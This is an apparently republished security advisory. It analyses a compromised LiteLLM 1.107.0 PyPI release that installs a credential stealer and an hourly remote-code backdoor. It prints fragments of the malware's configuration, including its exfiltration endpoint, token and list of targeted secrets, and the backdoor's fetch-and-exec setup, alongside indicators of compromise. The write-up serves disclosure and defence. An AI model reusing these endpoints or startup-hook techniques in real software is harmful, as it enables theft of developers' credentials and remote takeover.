cd /news/ai-safety/compromised-litellm-1-107-0-on-pypi-… · home › topics › ai-safety › article
[ARTICLE · art-154583] src=safedep.io ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

The LiteLLM 1.107.0 release on PyPI shipped a credential stealer and a remote code execution backdoor in all seven wheels (Linux, macOS, Windows), according to SafeDep, which found three files installed into site-packages that run whenever any Python process starts on the host, even one that never imports litellm. The injected `data = "cook"` line in the sdist's `pyproject.toml` maturin build section copies a `cook/` folder into the wheel, while the upstream GitHub source at tag v1.107.0 contains neither the line nor the folder; SafeDep infers a compromised release pipeline or stolen PyPI credentials. The stealer collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords and LLM provider keys from the LiteLLM proxy database, encrypts them and sends them to www.litellm[.]dev, while a `sitecustomize.py` daemon re-runs the stealer hourly and executes code from a server address read from a GitHub file; versions 1.106.2, 1.107.0rc1 and 1.107.0rc2 are clean.

by read6 min views1 publishedOct 21, 2026
Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor
Image: Safedep (auto-discovered)

On this page

The LiteLLM 1.107.0 release on PyPI carries a credential stealer and a remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in site-packages. Both run when any Python process starts on the host, even one that never imports litellm. The upstream GitHub source does not contain them.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean.

What the attack does #

Installing litellm==1.107.0 places three files in site-packages. Python loads two of them each time it starts.

  1. cook.pth importscook.py , a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it towww.litellm[.]dev .
  2. sitecustomize.py starts a background daemon. Every hour, the daemon reads a server address from a GitHub file, runs the stealer again, and downloads and runs code from that server.

How the implant got into the release #

The pyproject.toml in the 1.107.0 source distribution (sdist) has one extra line in the maturin build section:

[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)

The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip installs that folder into site-packages.

The sdist leaves out the cook/ folder, so this line is the only visible change. The upstream pyproject.toml at tag v1.107.0 has no data = "cook" line and no cook/ folder. Someone changed the build outside the public repository. SafeDep infers a compromised release pipeline or stolen PyPI credentials.

The wheel RECORD lists the three added files:

litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  /backdoor + embedded stealer

Payload 1: the credential stealer in cook.py #

At startup, Python runs each line that starts with import in a .pth file in site-packages. cook.pth contains import cook, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and CI jobs.

cook.py wraps about 61 KB of Python in one layer of exec(zlib.decompress(base64.b64decode('...'))). The decoded code starts with this configuration:

PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

What it collects

Module Targets
sysinfo ,netinfo Host name, user, operating system, IP addresses, network settings
browser_pw Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox logins.json andkey4.db
browser_hist Browser history
ssh_keys ~/.ssh/*
shell_hist bash andzsh history, PowerShell PSReadLine,cmd history
cloud_creds ~/.aws/credentials andconfig , Azure profile and tokens,gcloud credentials,~/.kube/config ,~/.docker/config.json ,gh`` hosts.yml ,rclone.conf ,~/.netrc
dev_secrets .pem ,.key ,.pfx ,.p12 ,.pk8 ,.ppk files under$HOME , Composerauth.json , FileZilla saved servers
container_creds Kubernetes service account token
cicd_secrets GitLab runner config.toml , JenkinsinitialAdminPassword andmaster.key ,.vault-token , Terraformcredentials.tfrc.json , Packer settings
ai_devtools Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json , Gemini CLI, Codexauth.json , Continue, Aider, Goose,opencode ,Qwen , Crush,Kiro , Zed, Hugging Face token
env_vars Its own environment and the environment of other processes through /proc/<pid>/environ
db_litellm Reads DATABASE_URL and dumps theLiteLLM_CredentialsTable andLiteLLM_ProxyModelTable tables, which hold the LLM provider API keys of a LiteLLM proxy
cloud_metadata AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials
gpg_keys ,tls_privkey GPG keys, TLS private keys

How it sends the data

  1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded public key.
  2. It packs the result into a tar.gz (hdr.json ,data.bin ,key.bin ) and sends it in a POST request towww.litellm[.]dev/healthcheck with the headerX-Token: XWiA8gZNa7NcX2XRoAEb .
  3. After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb so it collects only once per host. It also setsPRIVCOLLECT_ACTIVE=1 to avoid a second run in the same process tree.

Payload 2: the backdoor in sitecustomize.py #

Python imports sitecustomize at startup, so this file also runs in every Python process.

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_.lock"
  1. It takes an exclusive lock on /tmp/remote_code_.lock , so only one daemon runs per host.
  2. It calls fork() andsetsid() , sends standard input and output to/dev/null , and changes directory to/ to detach from the parent process.
  3. Every hour, it:
  4. reads domain.txt from the attacker’s GitHub repository and takes the first line that looks like a domain,
  5. runs its embedded copy of the stealer, which has no once-per-host marker,
  6. downloads http://<domain>/codepy and runs it withexec() .
  7. reads

The attacker can point the daemon at a new server by editing domain.txt. Each infected host runs whatever that server returns as codepy.

Indicators of compromise #

Network

Indicator Purpose
www.litellm[.]dev ,hxxp://www.litellm[.]dev/healthcheck Receives stolen data
HTTP header X-Token: XWiA8gZNa7NcX2XRoAEb Sent with each upload
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt Backdoor reads its server address here
hxxp://<domain>/codepy Second-stage code download
Requests to 169.254.169.254 from Python processes Theft of AWS instance credentials

Host

Indicator Meaning
cook.pth ,cook.py ,sitecustomize.py insite-packages Implant installed
/tmp/.pc_once_72129118c59f5636c0bb Stealer already uploaded data
/tmp/remote_code_.lock Backdoor daemon has run
Environment variable PRIVCOLLECT_ACTIVE=1 Present in infected processes
Detached Python daemon (parent PID 1, own session, working directory / ) Backdoor loop

File hashes (SHA-256)

File SHA-256
litellm-1.107.0.tar.gz 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-win_amd64.whl 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

The planted files, from the wheel RECORD:

File SHA-256 (URL-safe base64)
cook.pth fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s
cook.py ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU
sitecustomize.py NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo
  • pypi
  • python
  • malware
  • supply-chain
  • litellm

Author

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs #

Follow for the latest updates and insights on open source security & engineering

Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli #

An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from...

ASOS App Hack: Attackers Used Push Notifications to Send a Ransom Note #

Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do.

MALFEX Moves Its npm into a Native Windows DLL #

The MALFEX package imgdecode contains a native Windows . When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe.

tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud #

[email protected] on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it.

Ship Code. #

Not Malware. #

Start free with open source tools on your machine. Scale to a unified platform for your organization.

── more in #ai-safety 4 stories · sorted by recency
── more on @litellm 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/compromised-litellm-…] indexed:0 read:6min 2026-10-21 · —